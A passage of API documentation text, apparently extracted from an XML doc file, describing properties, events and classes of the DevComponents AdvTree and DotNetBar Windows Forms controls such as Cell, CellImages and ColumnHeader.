is true. + + + + + Gets or sets the distance to indent each of the child tree node levels. Default value is 16. + + + + + Indicates whether drop marker is displayed during drag-drop operation. + + + + + Gets or sets whether drag and drop operation is in progress. This member supports + the AdvTree infrastructure and is not intended to be used directly from your + code. + + + + + Gets or sets whether number of nodes being dragged is displayed on drag node preview. Default value is true. + + + + + Gets or sets whether multiple nodes drag & drop is enabled. Default value is true. + + + + + Indicates whether AutoScrollPosition is reset to 0,0 when all nodes are cleared from the tree. Default value is true. + + + + + Gets or sets the comma separated list of property or column names to display on popup tree control. + + + + + Gets or sets the data source for the ComboTree. Expected is an object that implements the IList or IListSource interfaces, + such as a DataSet or an Array. The default is null. + + + + + Gets or sets a value indicating whether formatting is applied to the DisplayMembers property of the control. + + + + + Gets or sets the format-specifier characters that indicate how a value is to be displayed. + + + + + Gets or sets the IFormatProvider that provides custom formatting behavior. + + + + + Gets or sets comma separated field or property names that holds the value that is used to identify node and parent node. Format expected is: FieldNodeId,ParentNodeFieldId. For example if your table represents departments, you have DepartmentId field which uniquely identifies a department and ParentDepartmentId field which identifies parent of the department if any you would set this property to DepartmentId,ParentDepartmentId. + Note that you can only use ParentFieldNames or GroupingMembers property but not both. If both are set ParentFieldName take precedence. + + + + + Gets or sets comma separated list of field or property names that are used for grouping when data-binding is used. Note that you can only use ParentFieldName or GroupingMembers property but not both. If both are set ParentFieldName take precedence. + + + + + Gets or sets style for automatically created group nodes when data-binding is used and GroupingMembers property is set. + + + Name of the style assigned or null value indicating that no style is used. + Default value is null. + + + + + Gets or sets the index specifying the currently selected item. + + + + + Gets or sets the property to use as the actual value for the items in the control. Applies to data-binding scenarios. SelectedValue property will return the value of selected node as indicated by this property. + + + + + Gets or sets the value of the member property specified by the ValueMember property. + + + + + Indicates whether control changes the CurrencyManager.DataPosition when selected node is changed during data binding. + Default value is true. + + + + + Indicates whether touch support for scrolling is enabled. + + + + + Static class that holds AdvTree settings that are not commonly used. + + + + + Gets or sets whether tree control is scrolled horizontally so selected node is brought into the view. Default value is false. + You can set this property to false to disable the horizontal scrolling of tree control when selected node has changed. + + + + + Gets or sets whether AdvTree node comparer that provides column sorting uses standard text comparer instead of default + hybrid alpha-numeric comparer. Default value is false. + + + + + Defines an interface for cell edit control that allows custom controls to be used as cell editors. AdvTree control + expects that editing control inherits from System.Windows.Forms.Control. + + + + + Called when edit operation is started. The AdvTree control will first set CurrentValue, then call BeginEdit and will call EditComplete once + editing is completed. + + + + + Called when edit operation is completed. + + + + + Gets or sets current edit value. + + + + + AdvTree control subscribes to this event to be notified when edit operation is completed. For example when Enter key is + pressed the edit control might raise this event to indicate the completion of editing operation. + + + + + AdvTree control subscribes to this event to be notified that user has cancelled the editing. For example when Escape key is + pressed the edit control might raise this event to indicate that editing has been cancelled. + + + + + Gets or sets whether cell requests the word-wrap based on the current cell style. If your editor does not support + word-wrap functionality this can be ignored. + + + + + Defines delegate for PrepareCellEditor event. + + + + + + + Event arguments for PrepareCellEditor event. + + + + + Gets reference to the cell being edited. + + + + + Gets reference to the cell editor control. + + + + + Initializes a new instance of the PrepareCellEditorEventArgs class. + + + + + + + Defines delegate for PrepareCellEditor event. + + + + + + + Event arguments for AdvTree.Render event. + + + + + Indicates the rendering operation being performed. + + + + + Indicates graphics canvas to render on. + + + + + Initializes a new instance of the AdvTreeRenderEventArgs class. + + Specifies rendering type + Specifies graphics canvas to render on + + + + Specifies the rendering type being performed on AdvTree control Render event. + + + + + Control background is being painted. + + + + Represents a cell assigned to the Node. + + The Cell with Index 0 (zero) always exists for a Node and it is a cell that + you can interact with through the properties on a node, which are forwarding to the + Cell(0), or you can go directly to the Cell(0). + When Node has multiple columns defined each column corresponds to Cell in + Node's Cells collection. The first Column has Index 0, second Column Index 1 and so + forth. + Note that there is always at least one Cell in a Node even if multiple + columns are not used. + + + + + Initializes new instance of Cell class. + + + + + Initializes new instance of Cell class. + + Cell text. + + + + Initializes new instance of Cell class. + + Cell text. + + + + Initializes new instance of Cell class. + + Cell text. + + + + Releases the resources used by the Component. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Occurs after Tooltip text has changed. + + + + + Called when tooltip is shown and hidden. + + true if tooltip is being shown otherwise false. + + + + Shows tooltip for this item. + + + + + Destroys tooltip window. + + + + + Sets the bounds of the cell. + + New cell bounds. + + + + Sets the bounds of the image inside of the cell. + + New cell bounds. + + + + Sets the bounds of the check box inside of the cell. + + New cell bounds. + + + + Sets whether cells is visible or not. This is set by node layout manager and it is based on column visibility. + + True if visible otherwise false. + + + + Sets the parent of the cell. + + Parent node. + + + + Occurs after text has changed. + + + + + Sets the Images to the new CellImages object. + + CellImages object. + + + + Returns whether Images property should be serialized. Used internally for windows forms designer support. + + + + + Sets the Checked or CheckState properties. + + New value for checked state. + Action source. + + + + Sets the Checked or CheckState properties. + + New value for checked state. + Action source. + + + + Sets the mouse over flag. + + true if mouse is over the cell otherwise false. + + + + Sets the mouse down flag. + + true if left mouse button is pressed while over the cell otherwise false. + + + + Returns effective editor type used for cell editing. + + Editor type. + + + Makes a copy of a Cell. + + + + Ensures that the cell is visible, expanding nodes and scrolling the control as necessary. + + + + + Occurs when any image property for the cell has changed. + + + + + Invokes AfterCheck event on AdvTree + control. + + + + + Invokes BeforeCheck event on AdvTree + control. + + + + + Called just before cell layout is to be performed. + + + + + Occurs when text markup link is clicked. + + + + + Gets/Sets informational text (tooltip) for the cell. + + + + + Gets whether tooltip is visible or not. + + + + + Occurs when item's tooltip visibility has changed. + + + + + Gets or sets whether tooltips are shown when mouse is over the cell when Tooltip property is set. + + + + + Gets or sets whether cell content is editable when cell editing is enabled on tree control. Default value is true. + + + + + Gets whether cell can be edited. Cell can be edited if both Editable property is set to true and ColumnHeader.Editable property is set to true. + + + + + Gets or sets the item hosted inside of the cell. Only items that do not generate + popups are supported. Note that cell can only host either HostedItem or HostedControl but not both. + + + + + Gets or sets the control hosted inside of the cell. Note that cell can only host either HostedItem or HostedControl but not both. + + + When control is hosted inside of the cell, cell size is determined by the + size of the control hosted inside of it. The cell will not display its text but it will display any image assigned + or check box when control is hosted inside of it. The Style settings like Margin + and Padding will still apply. + + + + + Gets or sets whether hosted control size change event is ignored. + + + + + Gets or sets the hosted control size. Property is used to correctly scale control when AdvTree.Zoom is used to zoom view. + + + + + Returns name of the cell that can be used to identify it from the code. + + + + + Gets the relative bounds of the cell. + + + + + Gets the bounds of the cell. + + + + + Gets or sets the available content bounds for the text. Text will fitted into these bounds + but it's true location can be obtained only after it is displayed. + + + + + Gets the bounds of the text inside of cell. + + + + + Gets the relative bounds of the image inside of cell. + + + + + Gets the bounds of the image inside of cell. + + + + + Gets the bounds of the image inside of cell. + + + + + Gets the bounds of the check box inside of cell. + + + + + Gets a value indicating whether the cell is in an editable state. true if the cell is in editable state; otherwise, false. + + + + + Gets a value indicating whether the cell is in the selected state. true if the cell is in the selected state; otherwise, false. + + + + + Gets a value indicating whether the cell is visible. Cell is considered to be visible when it's parent column is visible. + + + + + Gets the parent node of the current cell. + + + + + Gets or sets the object that contains data about the cell. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the object that contains data about the cell. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the format that is applied to the value of Text property for display purposes. See "Formatting Overview" in MSDN + for description on available format strings. For example you can specify "C" to format text as currency, or "D" to format text as decimal number etc. + + + + + + Gets the formatted display text. + + + + + Gets or sets the text displayed in the cell. + + + + + Gets the parent tree control that the cell belongs to. + + + + + Gets or sets the style class assigned to the cell. Null value indicates that + default style is used as specified on cell's parent. + + + Reference to the style assigned to the cell or null (VB Nothing) indicating that default + style setting from tree control is applied. Default value is null. + + + When property is set to null (VB Nothing) the style setting from parent tree + controls is used. CellStyleNormal on AdvTree control is a root style for a cell. + + StyleDisabled Property + StyleMouseDown Property + StyleMouseOver Property + StyleSelected Property + + + + Gets or sets the style name used by cell. This member is provided for internal use only. To set or get the style use StyleNormal property instead. + + + + + Gets or sets the style class that is to when cell is selected. Null value indicates that + default style is used as specified on cell's parent. + + + Reference to the style assigned to the cell or null value indicating that default + style setting from tree control is applied. Default is null value. + + + When property is set to null value the style setting from parent tree + controls is used. CellStyleSelected on AdvTree control is a root style for a cell. + + StyleNormal Property + StyleDisabled Property + StyleMouseDown Property + StyleMouseOver Property + + + + Gets or sets the selected style name used by cell. This member is provided for internal use only. To set or get the style use StyleSelected property instead. + + + + + Gets or sets the disabled style class assigned to the cell. Null value indicates + that default style is used as specified on cell's parent. + + + Reference to the style assigned to the cell or null value indicating that default + style setting from tree control is applied. Default value is null. + + + When property is set to null value the style setting from parent tree + controls is used. CellStyleDisabled on AdvTree control is a root style for a + cell. + + StyleNormal Property + StyleMouseDown Property + StyleMouseOver Property + StyleSelected Property + + + + Gets or sets the disabled style name used by cell. This member is provided for internal use only. To set or get the style use StyleDisabled property instead. + + + + + Gets or sets the style class assigned to the cell which is applied when mouse + button is pressed while mouse is over the cell. Null value indicates that default + style is used as specified on cell's parent. + + + Reference to the style assigned to the cell or null value indicating that default + style setting from tree control is applied. Default value is null. + + + When property is set to null value style setting from parent tree + controls is used. CellStyleMouseDown on AdvTree control is a root style for a + cell. + + StyleNormal Property + StyleDisabled Property + StyleMouseOver Property + StyleSelected Property + + + + Gets or sets the mouse down style name used by cell. This member is provided for internal use only. To set or get the style use StyleMouseDown property instead. + + + + + Gets or sets the style class assigned to the cell which is applied when mouse is + over the cell. Null value indicates that default style is used as specified on cell's + parent. + + + Reference to the style assigned to the cell or null value indicating that default + style setting from tree control is applied. Default value is null. + + + When property is set to null value the style setting from parent tree + controls is used. CellStyleMouseOver on AdvTree control is a root style for a + cell. + + StyleNormal Property + StyleDisabled Property + StyleMouseDown Property + StyleSelected Property + + + + Gets or sets the mouse over style name used by cell. This member is provided for internal use only. To set or get the style use StyleMouseOver property instead. + + + + + Gets or sets whether cell is enabled or not. + + + + + Gets the reference to images associated with this cell. + + + + + Gets or sets the image alignment in relation to the text displayed by cell. + + + + + Gets or sets the checkbox alignment in relation to the text displayed by cell. + + + + + Gets or sets whether check box is visible inside the cell. + + + + + Gets or set a value indicating whether the check box is in the checked state. + + + + + Gets or sets a value indicating whether the CheckBox will allow three check states rather than two. If the ThreeState property is set to true + CheckState property should be used instead of Checked property to set the extended state of the control. + + + + + Specifies the state of a control, such as a check box, that can be checked, unchecked, or set to an indeterminate state. + + + + + Gets or sets the appearance style of the item. Default value is CheckBox. Item can also assume the style of radio-button. + + + + + Gets whether mouse is over the cell. + + + + + Gets whether left mouse button is pressed while over the cell. + + + + + Gets or sets the layout of the cell parts like check box, image and text. Layout can be horizontal (default) + where parts of the cell are positioned next to each other horizontally, or vertical where + parts of the cell are positioned on top of each other vertically. + Alignment of the each part is controlled by alignment properties. + + ImageAlignment Property + CheckBoxAlignment Property + + + + Specifies the mouse cursor displayed when mouse is over the cell. + + + + + Gets or sets whether cell wrapped the text during the layout. + + + + + Gets or sets the editor type used to edit the cell. Setting this property to value other than Default + overrides the cell editor type specified on column cell belongs to. + + + + + Gets or sets whether cell can be selected by user by clicking it with the mouse or using keyboard. Default value is true. + + + + + Gets whether cell can be selected. Cell must be Visible, Enabled and Selectable in order for it to be selected. + + + + + Returns ColumnHeader cell is under if one is defined and cell is already parented to the tree. Otherwise it returns null/nothing. + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets whether cell supports and renders text markup. Default value is true. + + + + + Gets whether item supports text markup. Default is false. + + + + + A strongly-typed collection of objects. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Gets the cell based on the column name. Node must be able to reach AdvTree control for this method to work. + + Column name. + Cell object or null. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Cell array. + + Array to copy to. + + + + Sets the node collection belongs to. + + Cell that is parent of this collection. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. Returns null/nothing if cell with given name is not found. + + + + + Gets or sets the node this collection is associated with. + + + + + Represents event arguments for cell editing events. + + + + + Indicates the action that caused the event. + + + + + Indicates the cell that is affected. + + + + + Indicates new text that will be assigned to the cell if one is appropriate for given event. + + + + + Indicates whether the current action is cancelled. For BeforeCellEdit event setting this + property to true will cancel the editing. For AfterCellEdit event setting this property to + true will cancel any changes made to the text and edits will not be accepted. For CellEditEnding + event setting this property to true will keep the cell in edit mode. + + + + + Indicates whether editing operation was canceled by the end user, usually by pressing ESCAPE key. + + + + + Initializes new instance of CellEditEventArgs class. + + Reference to Cell this event is raised for. + Indicates the action that caused the event. + Indicates new text of the cell if it applies to given event. + + + + Initializes new instance of CellEditEventArgs class. + + Reference to Cell this event is raised for. + Indicates the action that caused the event. + Indicates new text of the cell if it applies to given event. + + + + Initializes new instance of CellEditEventArgs class. + + Reference to Cell this event is raised for. + Indicates the action that caused the event. + Indicates new text of the cell if it applies to given event. + Indicates whether action is canceled by the end user. + + + + Initializes new instance of CellEditEventArgs class. + + Reference to Cell this event is raised for. + Indicates the action that caused the event. + Indicates new text of the cell if it applies to given event. + Indicates whether action is canceled by the end user. + + + + Gets reference to the cell editor control. + + + + + Represents class that holds images for a cell. + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + + + Initializes new instance of CellImages class. + + Reference to parent cell. + + + + Resets Image property to it's default value (null, VB nothing). + + + + + Resets ImageMouseOver to it's default value (null, VB nothing). + + + + + Resets ImageDisabled to it's default value (null, VB nothing). + + + + + Resets ImageExpanded to it's default value (null, VB nothing). + + + + Makes a copy of a CellImages object. + + + + Changes the image and invokes largest image size calculation if the + image size truly changed. + + + + + + + Returns image from image list based on the image index. + + Index of the image to return. + Image object from image list. + + + + Returns image from image list based on the image key. + + Key of the image to return. + Image object from image list. + + + + Gets or sets default cell image. Setting this property to valid image will + override any setting of ImageIndex property. + + + The image set through this property will be serialized with the cell. If you + plan to use ImageList then use ImageIndex + property. + + If you plan to use alpha-blended images we recommend using PNG-24 format + which supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 + do not support alpha-blending when used through Image class. + + + Image object or null (Nothing) if no image is assigned. + + + + Gets or sets the image that is displayed when mouse is over the cell. Setting + this property to valid image will override any setting of ImageMouseOverIndex + property. + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writting .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + + + Gets or sets the image that is displayed when cell is disabled. If not assigned + disabled image is created from default cell image. Setting this property to valid image + will override any setting of ImageDisabledIndex property. + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + + + Gets or sets image that is displayed when Node that this cell belongs to is + expanded. Setting this property to valid image will override any setting of + ImageExpandedIndex property. + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + + + Gets or sets the Index of default cell image from ImageList specified on AdvTree + control. + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + + + Gets or sets the key of the default cell image from ImageList specified on AdvTree control. + + + + + Property Editor support for ImageIndex selection + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the Index of cell image when mouse is over the cell from ImageList + specified on AdvTree control. + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the key of cell image when mouse is over the cell from ImageList + specified on AdvTree control. + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the Index of disabled cell image from ImageList specified on AdvTree + control. + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the key of disabled cell image from ImageList specified on AdvTree + control. + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the Index of cell image from ImageList specified on AdvTree control + that is used when Node associated with this cell is expanded + + + + + If you plan to use alpha-blended images we recommend using PNG-24 format which + supports alpha-blending. As of this writing .NET Framework 1.0 and 1.1 do not support + alpha-blending when used through Image class. + + + Gets or sets the key of cell image from ImageList specified on AdvTree control + that is used when Node associated with this cell is expanded + + + + + Gets or sets the parent node of the cell. + + + + + Gets whether CellImages object should be serialized or not. If object has all + default values then this property will return false. + + + + + Returns largest image size in this set of images. + + + + + Indicates whether assigned images are automatically disposed when the cell and node are disposed. Default value is false. + + + + Represents the node or tree ColumnHeader. + + + + Creates new instance of the object. + + + + + Creates new instance of the object and initializes it with text. + + Text to initialize object with. + + + + Makes a copy of ColumnHeader object. + + Returns new instance of column header object. + + + + Sets the column bounds. + + + + + Resets Image property to it's default value (null, VB nothing). + + + + + Called when DataFieldName property has changed. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when SortingEnabled property has changed. + + Old property value + New property value + + + + Called when SortDirection property has changed. + + Old property value + New property value + + + + Invalidates the appearance of column header. + + + + + Occurs after Tooltip text has changed. + + + + + Called when tooltip is shown and hidden. + + true if tooltip is being shown otherwise false. + + + + Shows tooltip for this item. + + + + + Destroys tooltip window. + + + + + Automatically sets the column width (Width.Absolute) property based on the content of the column. + This will perform the one-time auto sizing of the column. To make column auto-size all the time + set Width.AutoSize=true. + + + + + Raises MouseMove event. + + Provides event arguments. + + + + Raises MouseEnter event. + + Provides event arguments. + + + + Raises MouseLeave event. + + Provides event arguments. + + + + Raises MouseHover event. + + Provides event arguments. + + + + Sort first level nodes that belong directly to this column. Calling this method repeatedly will + alternate between A-Z and Z-A sorting. + + + + + Sort first level nodes that belong directly to this column. + + true to use reverse Z-A sorting, false to sort from A-Z + + + + Called when SortComparer property has changed. + + Old property value + New property value + + + + Called when SortComparerReverse property has changed. + + Old property value + New property value + + + + Occurs when header size has changed due to the user resizing the column. + + + + + Occurs when mouse button is pressed over the column header. + + + + + Occurs when mouse button is released over the column header. + + + + + Occurs when header is double clicked. + + + + + Occurs when header is clicked. + + + + + Gets or sets whether cells content in this column is editable when cell editing is enabled on tree control. Default value is true. + + + + + Gets or sets the maximum number of characters the user can type or paste when editing cells in this column. + + + + + Returns name of the column header that can be used to identify it from the code. + + + + + Returns rectangle that this column occupies. If the layout has not been performed on the column the return value will be Rectangle.Empty. + + + + + Gets the reference to the object that represents width of the column as either + absolute or relative value. + + + Set Width using Absolute or Relative properties of ColumnWidth object. + + Absolute Property (DevComponents.AdvTree.ColumnWidth) + Relative Property (DevComponents.AdvTree.ColumnWidth) + + + + Gets or sets the minimum column width in pixels that is enforced when user is resizing the columns using mouse. + Default value is 0 which indicates that there is no minimum size constraint. + + + + + Gets or sets whether column is stretched to fill any empty space horizontally in tree when all columns consume less width than available. + Only one column in tree may have this property set to true and only last column with this property set will be stretched. + You should always set the Width for the column since Width will be used when columns consume more space in tree horizontally than available. + Applies to top-level columns only. + + + + + Gets or sets the style class assigned to the column. Empty value indicates that + default style is used as specified on cell's parent's control. + + + Name of the style assigned to the cell or an empty string indicating that default + style setting from tree control is applied. Default is empty string. + + + When property is set to an empty string the style setting from parent tree + controls is used. ColumnStyleNormal on AdvTree control is a root style for a cell. + + StyleMouseDown Property + StyleMouseOver Property + + + + Gets or sets the style class assigned to the column which is applied when mouse + button is pressed over the header. Empty value indicates that default + style is used as specified on column's parent. + + + Name of the style assigned to the column or an empty string indicating that default + style setting from tree control is applied. Default is empty string. + + + When property is set to an empty string the style setting from parent tree + controls is used. ColumnStyleMouseDown on AdvTree control is a root style for a + cell. + + StyleNormal Property + StyleMouseOver Property + + + + Gets or sets the style class assigned to the column which is applied when mouse is + over the column. Empty value indicates that default style is used as specified on column's + parent control. + + + Name of the style assigned to the column or an empty string indicating that default + style setting from tree control is applied. Default is empty string. + + + When property is set to an empty string the style setting from parent tree + controls is used. ColumnStyleMouseOver on AdvTree control is a root style for a + cell. + + StyleNormal Property + StyleMouseDown Property + + + + Gets or sets the name of the column in the ColumnHeaderCollection. + + + + + Gets or sets the column caption. + + + + + Gets or sets whether column is visible. Hiding the header column will also hide corresponding data column. + + + + + + Gets or sets Image alignment inside of column. Default value is Left. + + + + + Gets or sets the data-field or property name that is used as source of data for this column when data-binding is used. + + + + + Gets or sets additional custom data associated with the column. + + + + + Gets or sets the color of the cells background for this column. + + + + + Gets or sets display index of the column. -1 indicates default value and is modified to actual display index when the column is added to a ColumnHeaderCollection. + + + A lower display index means a column will appear first (to the left) of columns with a higher display index. + Allowable values are from 0 to num columns - 1. (-1 is legal only as the default value and is modified to something else + when the column is added to a AdvTree's column collection). AdvTree enforces that no two columns have the same display index; + changing the display index of a column will cause the index of other columns to adjust as well. + + + + + Gets or sets whether user can sort by this column by clicking it. + + + + + Gets or sets the sort direction. Sort direction can be changed by clicking the column header if SortingEnabled=true. + + + + + Gets/Sets informational text (tooltip) for the cell. + + + + + Gets whether tooltip is visible or not. + + + + + Occurs when item's tooltip visibility has changed. + + + + + Gets or sets whether tooltips are shown when mouse is over the cell when Tooltip property is set. + + + + + Returns reference to AdvTree control this column belongs to. + + + + + Gets or sets whether column is automatically sized to the content when user double-clicks the column + on the column resize line. Column resizing must be enabled in order for this property to function. + Default value is true which indicates that column will be auto-sized to content when user double-clicks the + column resize marker. + + + + + Gets or sets whether column size has changed and it's layout needs to be recalculated. + + + + + Gets whether mouse left button is pressed on the column. + + + + + Gets whether mouse is over the column. + + + + + Occurs when mouse is moving over the column header. + + + + + Occurs when mouse enters column header. + + + + + Occurs when mouse leaves the column header. + + + + + Occurs when mouse hovers over the column. + + + + + Gets or sets the editor type used to edit the cell. Setting this property to value other than Default + overrides the cell editor type specified on column cell belongs to. + + + + + Gets or sets ascending (A-Z) column comparer used to sort nodes when this column is clicked. Your comparer will be passed to NodeCollection.Sort method and should know how to sort by appropriate column. + + + + + Gets or sets descending (Z-A) column comparer used to sort nodes when this column is clicked. Your comparer will be passed to NodeCollection.Sort method and should know how to sort by appropriate column. + + + + + Gets or sets whether to cancel internal sorting performed by AdvTree. + + + + + Gets or sets the column header being sorted. + + + + + Gets or sets the IComparer used for sorting. + + + + + Defines column related event arguments. + + + + + Gets reference to the column. + + + + + Initializes a new instance of the ColumnEventArgs class. + + + + + + Defines delegate for ColumnMoved event. + + + + + Defines column moved event arguments. + + + + + Gets the column display index before the column was moved. + + + + + Gets the column display index before the column was moved. + + + + + Initializes a new instance of the ColumnMovedEventArgs class. + + Column affected + Old display index + New display index + + + + Represents collection for ColumnHeader objects. + + + + + Default constructor. + + + + + Sets the node collection belongs to. + + ColumnHeader that is parent of this collection. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns index of the object inside of the collection. + + Name of column to return index for. + Index of the column or -1 if column not found. + + + + Returns index of the object inside of the collection based on column DataFieldName. + + DataFieldName of column to return index for. + Index of the column or -1 if column not found. + + + + Returns index of the object inside of the collection based on column DataFieldName. + + DataFieldName of column to return index for. + Index of the column or -1 if column not found. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Called when SortDirection property on column header is set to value other than None. + + Ref to column header + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the ColumnHeader array. + + Array to copy to. + + + + Gets the display index for specified column. + + Column that is part f ColumnHeaderCollection + Display index or -1 column is not part of this collection. + + + + Returns the column that is displayed at specified display index.. + + 0 based display index. + ColumnHeader + + + + Invalidates the display indexes and causes them to be re-evaluated on next layout. + + + + + Gets or sets the node this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Occurs before the cells are sorted. + + + + + Gets whether a column that is part of this collection has SortDirection set. + + + + + A map of display index (key) to index in the column collection (value). Used to quickly find a column from its display index. + + + + + Gets reference to last visible column or null if there is no last visible column. + + + + + Gets reference to first visible column or null if there is no first visible column. + + + + + Gets the column header rendering bounds. + + + + + Initializes a new instance of the IndexToDisplayIndex class. + + + + + + + Initializes a new instance of the ColumnHeaderControl class. + + + + + Returns mouse position which is translated if control Zoom is not equal 1 + + X coordinate + Y coordinate + + + + + Gets or sets the column move marker that marks insertion point for column that is dragged. Marker is drawn before the column specified by this index. + + + + + Gets or sets the column header collection to be rendered. + + + + + Represents the width of the Column. Supports absolute width in Pixels and + relative width as percentage of the width of parent control. + + + + + Creates new instance of the object. + + + + + Gets or sets relative width expressed as percentage between 1-100. 0 indicates that + absolute width will be used. + + + Relative width is expressed as percentage between 1-100 of the parent controls + width. 0 indicates that absolute width will be used. Absolute width always takes + priority over relative width. For example value of 30 assigned to this property + indicates that width of the column will be 30% of the total client width of the + control. + + + + Gets or sets the absolute width of the column in pixels. + + Absolute width always takes precedence over the relative width of the + column. + + + + + Gets or sets whether column width is automatically set based on the column's content. Default value is false. + When set absolute and relative size values are ignored. + + + + + Gets or sets whether column auto-width is set to minimum of the column header text width. Applies to AutoSize=true only. + + + + + Gets the auto-size calculated width of the column after tree layout is performed and column has AutoSize=true. + + + + + Provides event arguments for command button events. + + + + + Default constructor. + + Action type. + Context node. + + + + Indicates the action type that caused the event. + + + + + Indicates the node action is peformed on. + + + + + Represents collection of connector points for a node. + + + + + Default constructor. + + + + + Sets the node collection belongs to. + + Node that is parent of this collection. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds range of objects to the array. + + Array to add. + + + + Copies objects of the collection to the array. + + + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the ColumnHeader array. + + Array to copy to. + + + + Gets or sets the node this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Control for input of the integer value. + + + + + Represents an control that allows numeric input. + + + + + Closes all popups managed by the owner control. + + + + + Defines interface that should be implemented by controls that support per control renderers. + + + + + Gets the renderer control will be rendered with. This can be either custom renderer set on the control or the + Rendering.GlobalManager specified renderer. + + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Defines interface for internal accessibility support for DotNetBar control. + + + + + Gets or sets the item default accesibility action will be performed on. + + + + + Provides support for custom localization. + + + + + Notifies the accessibility client applications of the specified AccessibleEvents for the specified child control. + + The AccessibleEvents object to notify the accessibility client applications of. + The child Control to notify of the accessible event. + + + + Forces the button to perform internal layout. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Sets up timer that watches when active window changes. + + + + + Called after change of active window has been detected. SetupActiveWindowTimer must be called to enable detection. + + + + + Releases and disposes the active window watcher timer. + + + + + Generates a Click event for the control. + + + + + Returns the collection of items with the specified name. This member is not implemented and should not be used. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. This member is not implemented and should not be used. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. This member is not implemented and should not be used. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. This member is not implemented and should not be used. + + Item name to look for. + + + + + Invokes the DotNetBar Customize dialog. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Control is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Gets/Sets the visual style for the button. + + + + + Gets or sets the rendering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets button Color Scheme. ColorScheme does not apply to Office2007 styled buttons. + + + + + Specifies whether button is drawn using Windows Themes when running on OS that supports themes like Windows XP. + + + + + Gets whether Windows Themes should be used to draw the button. + + + + + Gets or sets whether hooks are used for internal DotNetBar system functionality. Using hooks is recommended only if DotNetBar is used in hybrid environments like Visual Studio designers or IE. + + + + + Gets or sets the form button is attached to. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on 